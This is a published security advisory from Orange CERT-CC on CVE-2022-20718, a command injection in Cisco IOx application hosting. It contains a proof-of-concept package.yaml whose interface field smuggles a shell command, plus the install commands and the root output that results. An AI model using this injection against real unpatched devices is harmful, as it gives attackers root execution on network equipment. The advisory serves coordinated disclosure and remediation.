orangecertcc / **security-research** Public

Code Pull requests Actions **Security** 35 Insights

Cisco IOx - Application Hosting Environment Parameter Injection Vulnerability (CVE-2022-20718)

Moderate **orange-cert-cc** published **GHSA-px2c-q384-5wxc** on Apr 19

Package

IOx (Cisco)

Affected versions	Patched versions

17.6.1
17.3.3
	17.6(2)
	17.7(1)

Description

Overview

Cisco provides an API for IOX. Through this API we can install apps.

Impact

While installing a crafted app an authenticated user can gain unrestricted root execution on Linux host.

Details

App installation require a valid tar archive. This tar require a "package.yaml" file that describes the app.
The interface field of "package.yaml" is taken without any validation to setup the network by Cisco Application Framework (CAF).
This field is append to an array for the command but at the end this array is concatenated and sent to a shell.

Pseudo code

```
[...]
cmd.append(intf)
```

```
[...]
subprocess.check_output((' ').join(cmd), stderr=subprocess.STDOUT, shell=True
```

Shell within interface field will be interpreted.

Tested versions

This vulnerability have been tested on Cisco ISR4200.

```
NR-4221-3#show version
Cisco IOS XE Software, Version 17.03.02
Cisco IOS Software [Amsterdam], ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_IAS-M), Version
17.3.2, RELEASE SOFTWARE (fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2020 by Cisco Systems, Inc.
Compiled Sat 31-Oct-20 13:21 by mcpre
```

Proof of Concept

Prerequisite: enable iox and an app (guestshell for instance)

```
# show run
iox
...
app-hosting appid guestshell
 app-vnic management guest-interface 0
...
```

Then in create the following "package.yaml" file:

```
descriptor-schema-version: "2.8"
info:
  name: GuestShell
  description: "Hacked Cisco Systems Guest Shell XE for x86_64"
  version: "3.1.1"
  author-link: "http://www.cisco.com"
  author-name: "Cisco Systems"

app:
  type: lxc
  cpuarch: "x86_64"
  kernel-version: "4.19.88"
  env:
    GUESTSHELL: yes

  system-capabilities:
    net_admin: on
  resources:
    profile: custom
    cpu: 800
    memory: 256
    disk: 1
    network:
      - interface-name: eth0$(id > /bootflash/cmdi)

# Specify runtime and startup
  startup:
    rootfs: min.ext2
    target: /sbin/init
```

Then rebuild the app (here we took guestshell.tar):

```
./ioxclient application stop guestshell
./ioxclient application deactivate guestshell
rm guestshell.tar
./ioxclient package -n guestshell --skip-signing .
./ioxclient application uninstall guestshell
./ioxclient application install guestshell guestshell.tar
./ioxclient application activate guestshell
```

The result can see here:

```
NR-4221-3#term shell
NR-4221-3#cat bootflash:cmdi
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_caf_t:s0
```

Solution

Recommandations sent to PSIRT

We suggest to:

- apply user input validation
- do not use shell=True on subprocess calls

Security patch

Upgrade to patched version (see above).

Workaround

There are no workarounds that address this vulnerability.

References

https://nvd.nist.gov/vuln/detail/CVE-2022-20718
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iox-yuXQ6hFj

Credits

Orange CERT-CC
Cyrille CHATRAS at Orange group

Timeline

Date reported: June 06, 2021
Date fixed: April 13, 2022

Severity

Moderate 5.5 / 10

CVSS base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	High
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	High
Availability	None

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N

CVE ID

CVE-2022-20718

Weaknesses

No CWEs